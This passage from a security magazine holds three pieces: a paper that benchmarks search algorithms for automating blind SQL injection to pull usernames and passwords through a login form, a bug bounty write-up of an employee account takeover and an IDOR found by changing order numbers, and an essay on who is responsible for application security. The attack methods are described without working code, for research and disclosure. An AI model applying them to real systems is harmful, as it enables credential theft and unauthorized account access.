Blind SQL Injection Attack Algorithm

Fig. 1. Login Form

After obtaining these elements, the automation application will call it using the library requests contained in the Python
library. The function is post type because the query that is designed is sent through the function then gives penetration to
the website through the login page. The query generated by the application aims to finally find the username and password
in the database.

The injection is done using the substring () function, which consists of three parameters, namely column_name,
first_index, and a number of characters. The injection query is in the main query of the gap in the login form so that the
main query cannot work and replace it with the injection query. Queries made will be automated by the algorithms in Table
1 above. The first thing to look for is the name of the database. Then from that name, the application will continue to search
for a list of existing tables. After the table name is obtained, the user must enter the name of the table displayed by the
indicated application containing a list of usernames and passwords. After that, the application provides an output in the
form of a user list along with the password registered on the website.

2. Linear Search Algorithm

Attack automation schemes using linear search algorithms are explained through the flowchart as follows:

156
Blind SQL Injection Attack Algorithm

Fig. 2. Linear Search Flowchart

The algorithm looks for each correct letter in the database and then does it repeatedly for fifteen times. Repetition fifteen
times is a prediction of the length of the char arranged into a sentence so that every time the program repeats and the
answer is correct. Then it produces a letter indicating that the letter is the data that is sought. The search uses hex data
sequentially from 0x20 to 0x7f. Form and Response function is to connect applications with the system on the web so that
applications can provide query results that are made to be sent to the login form contained on the website then penetrate
the database.

3. Binary Search Algorithm

The attack automation scheme using binary search algorithms is explained through the flowchart as follows:

157
Blind SQL Injection Attack Algorithm

Fig. 3. Binary Search Flowchart

The algorithm looks for each letter in the data by dividing the data in two. Then the data is compared whether the results
are above or below until it gets all the results of each letter arranged into a word. The Form and Response have the same
function in the linear search algorithm.

4. Interpolation Search Algorithm

158
Blind SQL Injection Attack Algorithm

The attack automation scheme using the interpolation search algorithm is explained through flowchart as follows:

Fig. 4. Interpolation Search Flowchart

The algorithm looks for results by estimating the location of the data so that the process of starting a search is not like a
binary search that is always from the middle but starts from data that is close to the result. The heading is used to find out
the location of the data that is searched, whether it has given the right or wrong results.

159
Blind SQL Injection Attack Algorithm

4. RESULTS AND DISCUSSION

A. Test Result

Tests were carried out as many as ten trials on each algorithm. Testing is done based on the search time for each letter. For
the search to be balanced, each algorithm looks for the same target, namely the name of the database from the website. For
search data, each letter can be seen in the attachment section. The test was carried out with two formations; the first test
formation was Linear-Binary-Interpolation, and the second was Linear-Interpolation-Binary. The purpose of doing these
two formations is to be able to explore the strength of each algorithm. The following is the average time of each algorithm
looking for each letter arranged into a sentence called "webberita", which is the name for each experiment that is carried
out:

Table 2. Test Results of Linear-Binary-Interpolation

Experimental Data Linear Search (s) Binary Search (s) Interpolation Search (s)

1 2.188714889 1.421164444 1.587965444

2 2.033020444 1.574856556 1.799804111

3 1.540954556 1.571406 1.608142333

4 1.407849667 1.773449667 1.451089778

5 1.821896222 1.525930444 1.552824444

6 1.645822667 1.436014889 1.626720111

7 1.775803556 1.708488222 1.511631667

8 1.457512222 1.530847222 1.551522778

9 1.444242222 1.394215778 1.487922778

10 1.424257 1.511222778 1.612802444

Average 1.674007344 1.5447596 1.579042589

Based on Table 2 above, testing with the Linear-Binary-Interpolation formation shows the best time performance results,
namely Binary Search with an average time of 1.54 seconds, then Interpolation Search 1.57 seconds and the last position of
Linear Search 1.67 seconds.

160
Blind SQL Injection Attack Algorithm

Fig. 5. Test results of Linear-Binary-Interpolation formation

Table 3. Test Results of Linear-Interpolation-Binary

Experimental Data Linear Search (s) Interpolation Search (s) Binary Search (s)

1 4.186308778 2.192088222 1.998454889


2 2.101781111 2.003216111 2.113540556
3 1.925351 2.041105444 1.937580889
4 1.638294333 1.830556222 2.105688222
5 1.888069111 2.062408778 1.864982444
6 2.255281889 1.776017222 2.142145111
7 1.813413333 2.207248222 1.933683111
8 1.810432556 1.790293889 2.126194889
9 1.885558 2.022441444 2.013260667
10 1.804168111 2.061836556 2.020775
Average 2.130865822 1.998721211 2.025630578

Based on Table 3 above, testing with the Linear-Interpolation-Binary formation shows the best time performance results,
namely Interpolation Search with an average time of 1.99 seconds, then Binary Search 2.02 seconds and the last position
Linear Search 2.13 seconds.

161
Blind SQL Injection Attack Algorithm

Fig. 6. Test results of Linear-Interpolation-Binary formation

After doing the two formations above, based on Figures 5 and 6, the fastest average time performance of the two formations
is the Binary Search with 1,785 seconds, then Interpolation Search with 1,789 seconds and Linear Search with 1,902
seconds.

Fig. 7. Average test results

B. Test Results Analysis

Based on the data that has been obtained, the algorithm that has the best time performance is binary search followed by
interpolation search and the last linear search. Based on research conducted by Rahim et al, an interpolation search has
better performance than the other two algorithms (Rahim, Nurarif, Ramadhan, Aisyah, Purba, 2017). But in this study, they
get different results because it is affected by the processes that exist in the operating system so that the response time on

162
Blind SQL Injection Attack Algorithm

localhost can be different. Furthermore, the data used is data in the order corresponding to hex numbers so that the
formula in the interpolation algorithm cannot give the best results.

Since the experiments were carried out ten times, there were anomalies, such as sometimes linear algorithms were faster
than binary or interpolation and vice versa. This is because the process of the localhost has different response times that
affect the results when retrieving data. To reduce this effect, the data collection process is carried out when the new
operating system lights up without any other process, other than running an experimental algorithm for subsequent
experiments carried out with that method.

5. Conclusion

Based on the testing and analysis that has been done, it can be concluded that:

1. The Binary Search algorithm is the fastest algorithm based on test results with a time of 1,7852 seconds, then
Interpolation Search with 1,789 seconds and Linear Search 1,902 seconds.

2. Based on the data sequence of hexadecimal numbers used, the Binary Search algorithm is the most optimal
algorithm.

3. The process of automating the injection carried out can make it easier for a pentester to carry out an attack on
the website.

163
Blind SQL Injection Attack Algorithm

REFERENCES:

1. Acar, Y., Stransky, C., Wermke, D., Weir, C., Mazurek, M. L., & Fahl, S. (2019). Developers Need
Support, Too: A Survey of Security Advice for Software Developers. Proceedings - 2017 IEEE
C y b e r s e c u r i t y D e v e l o p m e n t C o n fe re n c e , S e cD e v 2 0 1 7, 2 2 – 2 6 .
[Link]

2. Ali, A. B. M., Shakhatreh, A. Y. I., Abdullah, M. S., & Alostad, J. (2011). SQL-injection vulnerability
scanning tool for automatic creation of SQL-injection attacks. In Procedia Computer Science (Vol.
3, pp. 453–458). [Link]

3. Appelt, D., Nguyen, C. D., Briand, L. C., & Alshahwan, N. (2019). Automated testing for SQL
injection vulnerabilities: an input mutation approach. Proceedings of the International Symposium
on Software Testing and Analysis. [Link]

4. Barbay, J., López-Ortiz, A., & Lu, T. (2019). Faster adaptive set intersections for text searching. In
International Workshop on Experimental and Efficient Algorithms (pp. 146–157). Springer.

5. Graefe, G. (2019). B-tree indexes, interpolation search, and skew. In Proceedings of the 2nd
international workshop on Data management on new hardware (p. 5). ACM.

6. Grossman, J. (2019). 10 important facts about website security and how they impact your enterprise.
WhiteHat Security, 3.

7. Halfond, W. G. J., Choudhary, S. R., & Orso, A. (2009). Penetration testing with improved input
vector identification. In Software Testing Verification and Validation, 2009. ICST'09. International
Conference on (pp. 346–355).

8. Halfond, W. G., Viegas, J., & Orso, A. (2019). A classification of SQL-injection attacks and
countermeasures. In Proceedings of the IEEE International Symposium on Secure Software
Engineering (Vol. 1, pp. 13–15). IEEE.

9. Netcraft. (2018). Web Server Survey. Retrieved from


[Link]

10. OWASP, T. (10AD). Application Security Risks-2017, Open Web Application Security Project
(OWASP).

164
Blind SQL Injection Attack Algorithm

REFERENCES:

11. Patil, S., Marathe, N., & Padiya, P. (2016). Design of efficient web vulnerability scanner. In
Inventive Computation Technologies (ICICT), International Conference on (Vol. 2, pp. 1–6).

12. Rahim, R., Nurarif, S., Ramadhan, M., Aisyah, S., & Purba, W. (2017). Comparison Searching
Process of Linear, Binary and Interpolation Algorithm. In Journal of Physics: Conference Series
(Vol. 930, p. 12007). IOP Publishing.

165
TAKING OVER
EMPLOYEE
ACCOUNTS AND
A SIMPLE IDOR
TUSHAR BHARDWAJ
(Silent Bronco)

Tushar Bhardwaj is a bug bounty hunter, who’s

passionate about cybersecurity. He is currently pursuing

a Bachelor's Degree in cybersecurity and cloud

technology. He contributes to the infosec community by

writing blogs on his findings and giving tips on where,

and how to look for bugs. His unique approach to

hunting web applications differentiates him from others.

167
Taking Over Employee Accounts and a simple IDOR

Hello everyone! In this article, I would like to present my bug bounty hunt and how I took over employee accounts and was
able to place orders on behalf of the employee.

Accounts

Also, about discovering a very simple IDOR.

A simple IDOR after account takeover

The whole process was long and a little complicated but for the sake of the article I will try to
explain as much as possible and keep it very simple. Let’s get started!

After a break from hunting, I decided to get back into the game. I started hunting on a Private
Program, on Bugcrowd. I had previously submitted some bugs on this Program and gained good
experience. Having previously done my recon, I still decided to do it again as I had the feeling that
I had missed something, and I was damn right.

168
Taking Over Employee Accounts and a simple IDOR

I started with the google dork → “inurl:[Link] *name of service, the


target uses* login”. I found “service” login pages but no use as it redirected to the Okta
login page. After more digging, I found a blog post on how to register for the service. I was not
able to register, as the target had no option to register and that blog was pretty old. Scrolling
down the blog, I was going through the comments, and what I saw blew my mind!

An employee had posted her user ID and password! I was in shock thinking about the
repercussions of it. This meant that the target had no Employee Security Awareness; even if
they had one, this employee missed it. I started exploring employee login pages. While poking
around a few login panels, I found that the password had been changed, but the ID was still
valid. Going through numerous login panels, I found an interesting domain that allowed employees to login without any
password!

Comment Exposing User ID and Password

Amusing, isn't it? Typed in the ID and I was logged in as the employee. I was really happy at this point. Logged out and
tried logging in again, this time with the last digit changed. I was able to log in again! So, I can now login to any of the
employee accounts by changing the last digit of the ID. Nice!

Logged in as the employee!

After logging in, I started fiddling around. This website was for a campaign that allowed the employees to place orders for
the campaign merch. I had no options to navigate through the page. After viewing the source code of the page, I found some
interesting endpoints. I typed in the endpoints through the address bar and navigated through the website. After visiting
every endpoint, I knew what had to be done. Order! Order! Order!

169
Taking Over Employee Accounts and a simple IDOR

Placing an order:

To add “merch” to the cart:

[Link]
(Choose the size and quantity →Click on Add to Cart →A message on the page “The item has
been added to your cart”)

Added to cart

To view cart:
[Link]

From the /ViewCart section clicked on the “checkout” button, typed in the name and email →
Place Order

Order Placed Successfully!

YAY!

170
Taking Over Employee Accounts and a simple IDOR

Wait, it’s not over yet! To check if the order had been placed, I checked the order history
([Link] well, there it was!

Order History

Now, I clicked on the order number, and had the order details.

Order Details

IDOR (Insecure direct object references)

171
Taking Over Employee Accounts and a simple IDOR

As you can see in the OrderDetails image above, the order number is in the address bar. Changed orderNumber=55112047
to orderNumber=55112046. Now I had all the details of order “55112046”. I could change a few digits and access any order
that the employees had placed.

55112046

As you can see above, the order 55112046 had shipped, scrolling down I found that there was a tracking number. Upon
clicking on the tracking number, I was redirected to the company, which manages the logistics for the target organization. I
could now see the status and other details about the package.

Tracking Number

This is how I did Mass Account Takeovers and an IDOR. So, recon is one of the most important things while hunting. I have
found most of my bugs through recon. Recon is something everyone should focus on and then go hunting the OWASP Top
10.

Hope you liked this one! Thank you so much for reading till the end! Also, follow me on twitter and you could buy me a
coffee if you like my work!

Cheers!

172
WHY IT SECURITY
DEPARTMENTS
(ALONE) CANNOT
GUARANTEE SECURE
APPLICATIONS
KLAUS HALLER
Klaus Haller is a Senior IT Project Manager with Business Analysis and

Solutions Architecture knowhow with more than 15 years of experience in

IT Consulting. Areas of expertise are data management, analytics,

information security and compliance, and IT operations. Connect with him

on LinkedIn [Link] and learn more

about him on his personal homepage: [Link]

174
Why IT Security Departments (alone) cannot guarantee Secure Applications

Many business and IT professionals consider IT and information security as an incredibly important task – that someone
else takes care of. Customers assume that the IT service provider is responsible. The business is sure that the IT department
handles it. Software developers see the company’s IT security department in the lead. Such assumptions and mind-sets are
dangerous. Every team has to know its responsibility, act accordingly, and collaborate with the rest of the organization.
Therefore, we provide a high-level overview of how various teams can work together to protect the organization’s IT
infrastructure, data, and information.

The Approach of Cloud Providers

Cloud providers frequently get unwanted press coverage. For example, The Hacker News writes on March 5th, 2020: “More
than 200 million records containing a wide range of property-related information on US residents were left exposed on a
database that was accessible on the web without requiring any password or authentication.” [Lak20] This data was hosted
on the Google Cloud – and this is not something global or local cloud providers want to be put into connection with or being
made responsible for. Thus, they make it very clear what they are responsible for and what is the responsibility of their
customers. AWS, for example, distinguishes between the security of the cloud and security in the cloud (Figure 1) [ASM].
Security of the cloud means that AWS ensures that its cloud services such as (managed) database services, load balancing
services, or de- and encryption functionality are implemented correctly. It is the responsibility of the customer to put the
various services together in a way that the overall application landscape and concrete software solutions are clear. This
fundamental distinction between providers of single (security and other) services and the responsibility for the overall
solution security is crucial when looking at the security architecture of concrete applications.

Figure 1: AWS Shared Responsibility Model for Security (simplified)

An Architectural Perspective

Concrete application architectures are more complex than the situation in diagrams and white papers of the cloud
providers. Organizations outsource tasks to IT service providers; they use internally developed software as well as standard
software. They have centralized services for databases and identity and access management whereas other tasks are taken
over by the application teams. When IT service providers and outsourcing or consulting companies are involved,
responsibilities are defined in the contracts. The division of responsibilities within an organization is often more
challenging.

175
Why IT Security Departments (alone) cannot guarantee Secure Applications

We elaborate on this aspect using the example of an internet-facing web application and discuss typical security
components from an architecture perspective (Figure 2). The web application runs on a virtual machine with Linux. The
application incorporates a (local) key-value store and stores larger amounts of data in a dedicated database instance. The
database instance is hosted on the company’s central database. Even with this initial set-up, various teams contribute to
the application’s security. First – and often overseen in stressful projects - the application developers must write secure
code. They must know the OWASP-Top-10. They have to make sure to deploy security-related patches of the key-value
software components – during development time and when the application is in production. They must implement
authorization services properly. There must be no risky features such as exporting all clients to Excel for download. Neither
the business, the application owner nor business analysts should demand and specify such features. When the software
runs in a larger IT organization, the solutions architect is also responsible that the integration considers the security
requirements. No security department or firewall can secure a messed-up application.

Second, when application teams rely on other teams (server operations, database services, etc.), they rely on the other
teams securing these services properly. These teams can certainly rely on centralized shared security services for certain
tasks such as virus scanning. However, such service teams have to take over all necessary security tasks related to their
services that are not handled by other teams. Especially important is deploying the latest patches to software components
and following the security best practices for their components.

Figure 2: A Sample Security Architecture

When looking at the bigger picture, web applications are protected by a firewall at the company’s network perimeter and
between the various internal network zones. Furthermore, they are coupled with an identity and access management (IAM)
solution to ensure that customers can use their normal password, or even benefit from single sign-on, and that all
authorization aspects can be dealt with in one place. The perimeter firewall and the IAM solution have two aspects in
common. First, the interaction between the team providing these services and the application team does not require much
interaction and explanation. The application team sends a simple request: a list of ports that should be opened or a list of

176
Why IT Security Departments (alone) cannot guarantee Secure Applications

roles to be created in the Microsoft AD. Second, the application teams have a direct benefit for the project when they send
the request. The login gets easier for the users plus the firewall must be open. Otherwise, the application cannot be used.
The application team has intrinsic motivation.

Internet-facing network zones are usually protected additionally with a web application firewall (WAF). They filter more
granularly which requests are passed to the web application – and which ones are blocked. I know from my project
experience that they are more complex to configure. A WAF team runs the software. The configuration of the WAF,
however, requires intense collaboration between the application and the WAF teams. The application team has to provide
expertise and invest time. The important point is that there is no direct disadvantage for the application project. The WAF
team might simply configure the WAF for this application “wide open” and the application team can proceed with the
project. However, this means that this extra layer of security is not set-up adequately. WAF is a technology or service that
requires collaboration.

Finally, IT departments usually run various security applications and scanners as automated controls. Controls aim for
detecting behavior and system configurations that pose a security risk: virus scanners, scanning for open ports, checking
server configurations for missing patches, scanning outgoing email for sensitive data, etc.

Teams, Roles, and Responsibilities

While the previous section mentioned various teams, this section aims to put organizational questions in the front (Figure
3). An important aspect is to understand what central IT security tasks and teams exist. This is confusing for many
engineers and managers in the business. There are two central tasks: security governance and shared centralized security
services. Especially if they together form the IT security department, outsiders mix up these tasks often.

Figure 3: Teams involved in building secure IT application landscapes and IT solutions

The security governance team defines the security requirements applicable to the overall organization. It is a little bit
like writing a wish list for Santa Claus. The security and governance team writes policies with procedural requirements
(e.g., demanding penetration tests before going live with a web application), technical needs (all communication is

177
Why IT Security Departments (alone) cannot guarantee Secure Applications

encrypted using RSA), or mandatory systems to be run (e.g., a data loss prevention solution). They are not involved in any
service delivery. The rest of the company has to act as Santa Claus. They work on fulfilling the wishes respectively policies of
this team. In many cases, security governance is one of the tasks of the Chief Information Security Officer.

Shared and centralized security services are especially important to fulfill these requirements. They provide
solutions for well-established and infrastructure related topics, services that benefit many teams and applications in the
organization, such as firewalls, or that automate controls, such as virus scanning or data loss prevention.

It might be confusing for engineers and the business to understand that even if security governance and shared and
centralized security services together form the IT security organization, application management and engineering teams are
still responsible for various security tasks. If the business owns and funds applications, the application and data
owners are finally responsible and have to fund such activities. Plus, they have to make sure that the requirements (e.g.,
access control or export functionality) comply with the policies defined by the security governance team.

The application engineering and management teams architect the software solutions. They write (hopefully secure)
code. In most cases, they invoke various other IT services and build on existing infrastructure. They (and no IT security
organization) are responsible that their architecture is secure. They have to make sure that they use the central IAM or that
they check file uploads for viruses.

Conclusion

The rise of the big cloud providers in combination with severe data leaks and an ever-increasing cyber-crime risk put
security on the agenda of C-level executives. All too often, managers forget a famous statement from Bruce Schneier: “If you
think technology can solve your security problems, then you don’t understand the problems and you don’t understand the
technology.” Companies need technology to fight security but having a security team with the newest and best tools is not
sufficient. Application maintenance and operations teams have to follow security best practices as well, build their
applications on existing security building blocks – and collaborate with specialized teams to configure various security tools
properly.

References:
1. [A S M] AW S S h a r e d R e s p o n s i b i l i t y Mo d e l ,
[Link] last retrieved July 10th, 2020

2. [Lak20] R. Lakshmanan: A Massive U.S. Property and Demographic Database Exposes 200
Million Records, The Hacker News, March 5th, 2020

178

You might also like